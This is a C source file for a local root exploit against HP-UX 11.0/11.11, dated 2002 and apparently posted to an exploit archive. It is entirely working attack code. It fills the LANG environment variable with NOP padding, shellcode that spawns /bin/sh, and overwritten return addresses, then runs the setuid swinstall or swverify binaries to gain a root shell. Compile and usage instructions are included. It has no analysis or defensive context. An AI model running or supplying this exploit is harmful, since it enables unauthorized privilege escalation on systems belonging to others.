HP-UX 11.0/11.11 swxxx Local Root Shell Exploit

/* Program : x_hpux_11i_sw.c Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell. Complie : cc x_hpux_11i_sw.c -o x_sw;./x_sw ( not use gcc for some system) Usage : ./x_sw [ off ] Tested : HP-UX B11.11 & HP-UX B11.0 Author : watercloud [@] xfocus.org Date : 2002-12-11 Note : Use as your own risk !! */ #include<stdio.h> #define T_LEN 2124 #define BUFF_LEN 1688 #define NOP 0x0b390280 char shellcode[]= "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08" "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22" "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16" "/bin/shA"; long addr; char buffer_env[2496]; char buffer[T_LEN]; void main(argc,argv) int argc; char ** argv; { int addr_off = 8208; long addr_e = 0; int n=BUFF_LEN/4,i=0; long * ap = (long *) &buffer[BUFF_LEN]; char * sp = &buffer[BUFF_LEN-strlen(shellcode)]; long * np = (long *) buffer; if(argc >0) addr_off += atoi(argv[1]); addr = ( (long) &addr_off +addr_off) /4 * 4 +4; for(i=0;i<n;np[i++]=NOP); memcpy(sp,shellcode,strlen(shellcode)); for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr); buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0'; sprintf(buffer_env,"LANG=AAA%s",buffer); putenv(buffer_env); execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL); /* if false ,test swverify. */ execl("/usr/sbin/swverify","swverify",NULL); }